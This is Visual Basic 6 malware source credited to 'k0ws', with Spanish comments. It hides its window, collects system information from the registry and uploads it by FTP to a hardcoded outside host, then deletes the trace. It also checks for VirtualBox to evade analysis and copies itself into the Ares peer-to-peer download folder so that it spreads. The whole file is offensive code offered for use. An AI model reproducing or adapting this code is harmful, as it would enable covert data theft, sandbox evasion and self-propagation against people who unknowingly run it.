'Codeado por k0ws/respeta el autor
Option Explicit
Dim cFTP As New mFTP
Private Sub Form_Load()
Me.Hide
Dim yo As Object
Set yo = CreateObject("wscript.shell")
Dim so As String
so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
Text1.text = "Tu Remoto Usa: " & so
Call Mandar()
End Sub

Function Mandar()
Dim Stealed As String
Dim ftpHost As String
Dim ftpUser As String
Dim ftpPass As String
Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
ftpHost = ftp.host.net
ftpUser = GAY
ftpPass = GAY2
Open Stealed For Output As #1
Print #1, Text1.Text
Close #1
cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
cFTP.Disconnect
'
Kill Stealed
'
END
End Function

'k0ws
Function NOVBX()
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.FileExists(Environ("programfiles") & "\Oracle\VirtualBox\VBoxSvc.exe")) Then
End
End If
End Function

'sAres Spread Via Ares.
'Autor:k0ws
'Respeta el autor.
Public Function sAres()
Dim Lector, Ruta As String, RutaCom As String
Set Lector = CreateObject("wscript.shell")
Ruta = Lector.RegRead("HKEY_CURRENT_USER\SOFTWARE\Ares\Download.Folder")
RutaCom = HEX2ASCII(Ruta)
FileCopy App.Path & "\" & App.EXEName & ".exe", RutaCom & "\" & App.EXEName & ".exe"
End Function
Public Function HEX2ASCII(ByVal hextext As String) As String
    For y = 1 To Len(hextext)
    num = Mid(hextext, y, 2)
    Value = Value & Chr(Val("&h" & num))
    y = y + 1
Next y
HEX2ASCII = Value
End Function